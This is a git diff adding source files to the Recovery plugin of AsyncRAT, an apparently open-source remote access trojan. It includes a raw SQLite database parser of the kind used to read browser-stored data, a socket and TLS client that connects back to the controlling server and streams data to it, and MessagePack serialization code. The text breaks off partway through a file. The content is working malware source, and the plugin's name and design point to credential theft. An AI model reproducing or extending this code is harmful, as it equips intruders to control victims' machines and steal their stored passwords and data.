(long)Math.Round((double)(array[num7] - 12L) / 2.0); + } + } + else + { + array[num7] = (long)((ulong)this.SQLDataTypeSize[(int)array[num7]]); + } + num7++; + } + while (num7 <= 4); + if (decimal.Compare(new decimal(this.encoding), 1m) == 0) + { + this.master_table_entries[num2 + i].item_type = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num4), new decimal(value))), (int)array[0]); + } + else if (decimal.Compare(new decimal(this.encoding), 2m) == 0) + { + this.master_table_entries[num2 + i].item_type = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num4), new decimal(value))), (int)array[0]); + } + else if (decimal.Compare(new decimal(this.encoding), 3m) == 0) + { + this.master_table_entries[num2 + i].item_type = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num4), new decimal(value))), (int)array[0]); + } + if (decimal.Compare(new decimal(this.encoding), 1m) == 0) + { + this.master_table_entries[num2 + i].item_name = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0]))), (int)array[1]); + } + else if (decimal.Compare(new decimal(this.encoding), 2m) == 0) + { + this.master_table_entries[num2 + i].item_name = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0]))), (int)array[1]); + } + else if (decimal.Compare(new decimal(this.encoding), 3m) == 0) + { + this.master_table_entries[num2 + i].item_name = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0]))), (int)array[1]); + } + this.master_table_entries[num2 + i].root_num = (long)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0])), new decimal(array[1])), new decimal(array[2]))), (int)array[3]); + if (decimal.Compare(new decimal(this.encoding), 1m) == 0) + { + this.master_table_entries[num2 + i].sql_statement = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0])), new decimal(array[1])), new decimal(array[2])), new decimal(array[3]))), (int)array[4]); + } + else if (decimal.Compare(new decimal(this.encoding), 2m) == 0) + { + this.master_table_entries[num2 + i].sql_statement = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0])), new decimal(array[1])), new decimal(array[2])), new decimal(array[3]))), (int)array[4]); + } + else if (decimal.Compare(new decimal(this.encoding), 3m) == 0) + { + this.master_table_entries[num2 + i].sql_statement = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num4), new decimal(value)), new decimal(array[0])), new decimal(array[1])), new decimal(array[2])), new decimal(array[3]))), (int)array[4]); + } + } + return; + } + if (this.db_bytes[(int)Offset] == 5) + { + int num8 = (int)Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3m)), 2)), 1m)); + for (int j = 0; j <= num8; j++) + { + ushort num9 = (ushort)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12m), new decimal(j * 2))), 2); + if (decimal.Compare(new decimal(Offset), 100m) == 0) + { + this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger((int)num9, 4)), 1m), new decimal((int)this.page_size)))); + } + else + { + this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger((int)(Offset + (ulong)num9), 4)), 1m), new decimal((int)this.page_size)))); + } + } + this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8m)), 4)), 1m), new decimal((int)this.page_size)))); + } + } + + public bool ReadTable(string TableName) + { + int num = -1; + int num2 = this.master_table_entries.Length - 1; + for (int i = 0; i <= num2; i++) + { + if (this.master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0) + { + num = i; + break; + } + } + if (num == -1) + { + return false; + } + string[] array = this.master_table_entries[num].sql_statement.Substring(this.master_table_entries[num].sql_statement.IndexOf("(") + 1).Split(new char[] + { + ',' + }); + int num3 = array.Length - 1; + for (int j = 0; j <= num3; j++) + { + array[j] = array[j].TrimStart(new char[0]); + int num4 = array[j].IndexOf(" "); + if (num4 > 0) + { + array[j] = array[j].Substring(0, num4); + } + if (array[j].IndexOf("UNIQUE") == 0) + { + break; + } + this.field_names = (string[])Utils.CopyArray(this.field_names, new string[j + 1]); + this.field_names[j] = array[j]; + } + return this.ReadTableFromOffset((ulong)((this.master_table_entries[num].root_num - 1L) * (long)((ulong)this.page_size))); + } + + private bool ReadTableFromOffset(ulong Offset) + { + if (this.db_bytes[(int)Offset] == 13) + { + int num = Convert.ToInt32(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3m)), 2)), 1m)); + int num2 = 0; + if (this.table_entries != null) + { + num2 = this.table_entries.Length; + this.table_entries = (SQLiteHandler.table_entry[])Utils.CopyArray(this.table_entries, new SQLiteHandler.table_entry[this.table_entries.Length + num + 1]); + } + else + { + this.table_entries = new SQLiteHandler.table_entry[num + 1]; + } + int num3 = num; + for (int i = 0; i <= num3; i++) + { + SQLiteHandler.record_header_field[] array = null; + ulong num4 = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8m), new decimal(i * 2))), 2); + if (decimal.Compare(new decimal(Offset), 100m) != 0) + { + num4 += Offset; + } + int num5 = this.GVL((int)num4); + this.CVL((int)num4, num5); + int num6 = this.GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(num5), new decimal(num4))), 1m))); + this.table_entries[num2 + i].row_id = this.CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(num5), new decimal(num4))), 1m)), num6); + num4 = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num4), decimal.Subtract(new decimal(num6), new decimal(num4))), 1m)); + num5 = this.GVL((int)num4); + num6 = num5; + long num7 = this.CVL((int)num4, num5); + long num8 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num4), new decimal(num5)), 1m)); + int num9 = 0; + while (num8 < num7) + { + array = (SQLiteHandler.record_header_field[])Utils.CopyArray(array, new SQLiteHandler.record_header_field[num9 + 1]); + num5 = num6 + 1; + num6 = this.GVL(num5); + array[num9].type = this.CVL(num5, num6); + if (array[num9].type > 9L) + { + if (this.IsOdd(array[num9].type)) + { + array[num9].size = (long)Math.Round((double)(array[num9].type - 13L) / 2.0); + } + else + { + array[num9].size = (long)Math.Round((double)(array[num9].type - 12L) / 2.0); + } + } + else + { + array[num9].size = (long)((ulong)this.SQLDataTypeSize[(int)array[num9].type]); + } + num8 = num8 + (long)(num6 - num5) + 1L; + num9++; + } + this.table_entries[num2 + i].content = new string[array.Length - 1 + 1]; + int num10 = 0; + int num11 = array.Length - 1; + for (int j = 0; j <= num11; j++) + { + if (array[j].type > 9L) + { + if (!this.IsOdd(array[j].type)) + { + if (decimal.Compare(new decimal(this.encoding), 1m) == 0) + { + this.table_entries[num2 + i].content[j] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].size); + } + else if (decimal.Compare(new decimal(this.encoding), 2m) == 0) + { + this.table_entries[num2 + i].content[j] = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].size); + } + else if (decimal.Compare(new decimal(this.encoding), 3m) == 0) + { + this.table_entries[num2 + i].content[j] = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].size); + } + } + else + { + this.table_entries[num2 + i].content[j] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].size); + } + } + else + { + this.table_entries[num2 + i].content[j] = Conversions.ToString(this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num4), new decimal(num7)), new decimal(num10))), (int)array[j].size)); + } + num10 += (int)array[j].size; + } + } + } + else if (this.db_bytes[(int)Offset] == 5) + { + int num12 = (int)Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3m)), 2)), 1m)); + for (int k = 0; k <= num12; k++) + { + ushort num13 = (ushort)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12m), new decimal(k * 2))), 2); + this.ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger((int)(Offset + (ulong)num13), 4)), 1m), new decimal((int)this.page_size)))); + } + this.ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8m)), 4)), 1m), new decimal((int)this.page_size)))); + } + return true; + } + + private byte[] db_bytes; + private ulong encoding; + private string[] field_names; + private SQLiteHandler.sqlite_master_entry[] master_table_entries; + private ushort page_size; + private byte[] SQLDataTypeSize = new byte[] + { + 0, + 1, + 2, + 3, + 4, + 6, + 8, + 8, + 0, + 0 + }; + + private SQLiteHandler.table_entry[] table_entries; + + private struct record_header_field + { + public long size; + public long type; + } + + private struct sqlite_master_entry + { + public long row_id; + public string item_type; + public string item_name; + public long root_num; + public string sql_statement; + } + + private struct table_entry + { + public long row_id; + public string[] content; + } + } +} diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs new file mode 100644 index 0000000..558ba67 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs @@ -0,0 +1,143 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient(byte[] packet) + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + + new Thread(() => + { + Packet.Read(); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + SslClient?.Dispose(); + TcpClient?.Dispose(); + GC.Collect(); + } + catch { } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(msg)) + { + BinaryReader binaryReader = new BinaryReader(buffereReader); + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk, 0, chunk.Length); + SslClient.Flush(); + } while (bytesToRead > 0); + + binaryReader.Dispose(); + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/FodyWeavers.xml b/AsyncRAT-C#/Plugin/Recovery/Recovery/FodyWeavers.xml new file mode 100644 index 0000000..5029e70 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/FodyWeavers.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/FodyWeavers.xsd b/AsyncRAT-C#/Plugin/Recovery/Recovery/FodyWeavers.xsd new file mode 100644 index 0000000..44a5374 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/FodyWeavers.xsd @@ -0,0 +1,111 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/BytesTools.cs new file mode 100644 index 0000000..bd66e46 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/BytesTools.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public class BytesTools + { + static UTF8Encoding utf8Encode = new UTF8Encoding(); + + public static byte[] GetUtf8Bytes(String s) + { + + return utf8Encode.GetBytes(s); + } + + public static String GetString(byte[] utf8Bytes) + { + return utf8Encode.GetString(utf8Bytes); + } + + public static String BytesAsString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:D3} ", b)); + } + return sb.ToString(); + } + + + public static String BytesAsHexString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:X2} ", b)); + } + return sb.ToString(); + } + + /// + /// 交换byte数组数据 + /// 可用于高低数据交换 + /// + /// 要交换的byte数组 + /// 返回交换后的数据 + public static byte[] SwapBytes(byte[] v) + { + byte[] r = new byte[v.Length]; + int j = v.Length - 1; + for (int i = 0; i < r.Length; i++) + { + r[i] = v[j]; + j--; + } + return r; + } + + public static byte[] SwapInt64(Int64 v) + { + //byte[] r = new byte[8]; + //r[7] = (byte)v; + //r[6] = (byte)(v >> 8); + //r[5] = (byte)(v >> 16); + //r[4] = (byte)(v >> 24); + //r[3] = (byte)(v >> 32); + //r[2] = (byte)(v >> 40); + //r[1] = (byte)(v >> 48); + //r[0] = (byte)(v >> 56); + return SwapBytes(BitConverter.GetBytes(v)); + } + + public static byte[] SwapInt32(Int32 v) + { + byte[] r = new byte[4]; + r[3] = (byte)v; + r[2] = (byte)(v >> 8); + r[1] = (byte)(v >> 16); + r[0] = (byte)(v >> 24); + return r; + } + + + public static byte[] SwapInt16(Int16 v) + { + byte[] r = new byte[2]; + r[1] = (byte)v; + r[0] = (byte)(v >> 8); + return r; + } + + public static byte[] SwapDouble(Double v) + { + return SwapBytes(BitConverter.GetBytes(v)); + } + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPack.cs new file mode 100644 index 0000000..131eb37 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Recovery/Recovery/MessagePack/MsgPack.cs @@ -0,0 +1,926 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + + +namespace Plugin.MessagePack +{ + public class MsgPackEnum : IEnumerator + { + List children; + int position = -1; + + public MsgPackEnum(List obj) + { + children = obj; + } + object IEnumerator.Current + { + get { return children[position]; } + } + + bool IEnumerator.MoveNext() + { + position++; + return (position < children.Count); + } + + void IEnumerator.Reset() + { + position = -1; + } + + } + + public class MsgPackArray + { + List children; + MsgPack owner; + + public MsgPackArray(MsgPack msgpackObj, List listObj) + { + owner = msgpackObj; + children = listObj; + } + + public MsgPack Add() + { + return owner.AddArrayChild(); + } + + public MsgPack Add(String value) + { + MsgPack obj = owner.AddArrayChild(); + obj.AsString = value; + return obj; + } + + public MsgPack Add(Int64 value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsInteger(value); + return obj; + } + + public MsgPack Add(Double value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsFloat(value); + return obj; + } + + public MsgPack this[int index] + { + get { return children[index]; } + } + + public int Length + { + get { return children.Count; } + } + } + + public class MsgPack : IEnumerable + { + string name; + string lowerName; + object innerValue; + MsgPackType valueType; + MsgPack parent; + List children = new List(); + MsgPackArray refAsArray = null; + + private void SetName(string value) + { + this.name = value; + this.lowerName = name.ToLower(); + } + + private void Clear() + { + for (int i = 0; i < children.Count; i++) + { + ((MsgPack)children[i]).Clear(); + } + children.Clear(); + } + + private MsgPack InnerAdd() + { + MsgPack r = new MsgPack(); + r.parent = this; + this.children.Add(r); + return r; + } + + private int IndexOf(string name) + { + int i = -1; + int r = -1; + + string tmp = name.ToLower(); + foreach (MsgPack item in children) + { + i++; + if (tmp.Equals(item.lowerName)) + { + r = i; + break; + } + } + return r; + } + + public MsgPack FindObject(string name) + { + int i = IndexOf(name); + if (i == -1) + { + return null; + } + else + { + return this.children[i]; + } + } + + + private MsgPack InnerAddMapChild() + { + if (valueType != MsgPackType.Map) + { + Clear(); + this.valueType = MsgPackType.Map; + } + return InnerAdd(); + } + + private MsgPack InnerAddArrayChild() + { + if (valueType != MsgPackType.Array) + { + Clear(); + this.valueType = MsgPackType.Array; + } + return InnerAdd(); + } + + public MsgPack AddArrayChild() + { + return InnerAddArrayChild(); + } + + private void WriteMap(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x80 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDE; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDF; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + for (int i = 0; i < len; i++) + { + WriteTools.WriteString(ms, children[i].name); + children[i].Encode2Stream(ms); + } + } + + private void WirteArray(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x90 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDC; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDD; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + + for (int i = 0; i < len; i++) + { + ((MsgPack)children[i]).Encode2Stream(ms); + } + } + + public void SetAsInteger(Int64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.Integer; + } + + public void SetAsUInt64(UInt64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.UInt64; + } + + public UInt64 GetAsUInt64() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToUInt64((Int64)this.innerValue); + case MsgPackType.UInt64: + return (UInt64)this.innerValue; + case MsgPackType.String: + return UInt64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToUInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToUInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToUInt64((DateTime)this.innerValue); + default: + return 0; + } + + } + + public Int64 GetAsInteger() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return (Int64)this.innerValue; + case MsgPackType.UInt64: + return Convert.ToInt64((Int64)this.innerValue); + case MsgPackType.String: + return Int64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + public Double GetAsFloat() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToDouble((Int64)this.innerValue); + case MsgPackType.String: + return Double.Parse((String)this.innerValue); + case MsgPackType.Float: + return (Double)this.innerValue; + case MsgPackType.Single: + return (Single)this.innerValue; + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + + public void SetAsBytes(byte[] value) + { + this.innerValue = value; + this.valueType = MsgPackType.Binary; + } + + public byte[] GetAsBytes() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return BitConverter.GetBytes((Int64)this.innerValue); + case MsgPackType.String: + return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); + case MsgPackType.Float: + return BitConverter.GetBytes((Double)this.innerValue); + case MsgPackType.Single: + return BitConverter.GetBytes((Single)this.innerValue); + case MsgPackType.DateTime: + long dateval = ((DateTime)this.innerValue).ToBinary(); + return BitConverter.GetBytes(dateval); + case MsgPackType.Binary: + return (byte[])this.innerValue; + default: + return new byte[] { }; + } + } + + public void Add(string key, String value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsString(value); + } + + public void Add(string key, int value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsInteger(value); + } + + public bool LoadFileAsBytes(string fileName) + { + if (File.Exists(fileName)) + { + byte[] value = null; + FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); + value = new byte[fs.Length]; + fs.Read(value, 0, (int)fs.Length); + fs.Close(); + fs.Dispose(); + SetAsBytes(value); + return true; + } + else + { + return false; + } + + } + + public bool SaveBytesToFile(string fileName) + { + if (this.innerValue != null) + { + FileStream fs = new FileStream(fileName, FileMode.Append); + fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); + fs.Close(); + fs.Dispose(); + return true; + } + else + { + return false; + } + } + + public MsgPack ForcePathObject(string path) + { + MsgPack tmpParent, tmpObject; + tmpParent = this; + string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); + string tmp = null; + if (pathList.Length == 0) + { + return null; + } + else if (pathList.Length > 1) + { + for (int i = 0; i < pathList.Length - 1; i++) + { + tmp = pathList[i]; + tmpObject = tmpParent.FindObject(tmp); + if (tmpObject == null) + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + } + else + { + tmpParent = tmpObject; + } + } + } + tmp = pathList[pathList.Length - 1]; + int j = tmpParent.IndexOf(tmp); + if (j > -1) + { + return tmpParent.children[j]; + } + else + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + return tmpParent; + } + } + + public void SetAsNull() + { + Clear(); + this.innerValue = null; + this.valueType = MsgPackType.Null; + } + + public void SetAsString(String value) + { + this.innerValue = value; + this.valueType = MsgPackType.String; + } + + public String GetAsString() + { + if (this.innerValue == null) + { + return ""; + } + else + { + return this.innerValue.ToString(); + } + + } + + public void SetAsBoolean(Boolean bVal) + { + this.valueType = MsgPackType.Boolean; + this.innerValue = bVal; + } + + public void SetAsSingle(Single fVal) + { + this.valueType = MsgPackType.Single; + this.innerValue = fVal; + } + + public void SetAsFloat(Double fVal) + { + this.valueType = MsgPackType.Float; + this.innerValue = fVal; + } + + + + public void DecodeFromBytes(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } + } + + public void DecodeFromFile(string fileName) + { + FileStream fs = new FileStream(fileName, FileMode.Open); + DecodeFromStream(fs); + fs.Dispose(); + } + + + + public void DecodeFromStream(Stream ms) + { + byte lvByte = (byte)ms.ReadByte(); + byte[] rawByte = null; + MsgPack msgPack = null; + int len = 0; + int i = 0; + + if (lvByte <= 0x7F) + { //positive fixint 0xxxxxxx 0x00 - 0x7f + SetAsInteger(lvByte); + } + else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Map; + len = lvByte - 0x80; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Array; + len = lvByte - 0x90; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf + { + len = lvByte - 0xA0; + SetAsString(ReadTools.ReadString(ms, len)); + } + else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) + { /// -1..-32 + // negative fixnum stores 5-bit negative integer + // +--------+ + // |111YYYYY| + // +--------+ + SetAsInteger((sbyte)lvByte); + } + else if (lvByte == 0xC0) + { + SetAsNull(); + } + else if (lvByte == 0xC1) + { + throw new Exception("(never used) type $c1"); + } + else if (lvByte == 0xC2) + { + SetAsBoolean(false); + } + else if (lvByte == 0xC3) + { + SetAsBoolean(true); + } + else if (lvByte == 0xC4) + { // max 255 + len = ms.ReadByte(); + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC5) + { // max 65535 + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToUInt16(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC6) + { // binary max: 2^32-1 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) + { + throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); + } + else if (lvByte == 0xCA) + { // float 32 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + + SetAsSingle(BitConverter.ToSingle(rawByte, 0)); + } + else if (lvByte == 0xCB) + { // float 64 + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsFloat(BitConverter.ToDouble(rawByte, 0)); + } + else if (lvByte == 0xCC) + { // uint8 + // uint 8 stores a 8-bit unsigned integer + // +--------+--------+ + // | 0xcc |ZZZZZZZZ| + // +--------+--------+ + lvByte = (byte)ms.ReadByte(); + SetAsInteger(lvByte); + } + else if (lvByte == 0xCD) + { // uint16 + // uint 16 stores a 